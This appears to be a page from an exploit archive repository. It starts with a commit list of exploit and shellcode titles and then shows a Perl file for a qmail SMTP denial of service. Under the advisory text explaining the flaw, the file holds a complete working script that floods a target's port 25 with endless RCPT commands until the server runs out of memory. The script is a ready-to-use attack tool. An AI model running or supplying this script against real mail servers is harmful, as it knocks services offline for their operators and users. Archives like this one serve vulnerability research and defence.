880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
33 lines
No EOL
1.5 KiB
Perl
Executable file
33 lines
No EOL
1.5 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/2237/info
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qmail is an e-mail server package developed by Dan Bernstein.
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The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding.
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This behaviour is due to the dynamically allocated memory being exhausted.
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The condition occurs in situations where resource limits are not imposed on the server process.
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Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers.
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Once affected, a restart of the qmail smtp service is required in order to gain normal functionality.
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It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers.
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#!/usr/local/bin/perl -w
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# $Id: qmail.pl,v 1.4 1997/06/12 02:12:42 super Exp $
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require 5.002;
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use strict;
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use Socket;
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if(!($ARGV[0])){print("usage: $0 FQDN","\n");exit;}
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my $port = 25; my $proto = getprotobyname("tcp");
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my $iaddr = inet_aton($ARGV[0]) || die "No such host: $ARGV[0]";
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my $paddr = sockaddr_in($port, $iaddr);
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socket(SKT, AF_INET, SOCK_STREAM, $proto) || die "socket() $!";
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connect(SKT, $paddr) && print("Connected established.\n") || die "connect() $!";
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send(SKT,"mail from: <me\@me>\n",0) || die "send() $!";
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my $infstr = "rcpt to: <me\@" . $ARGV[0] . ">\n"; print("Attacking..","\n");
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while(<SKT>){
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send(SKT,$infstr,0) || die "send() $!";
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}
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die "Connection lost!"; |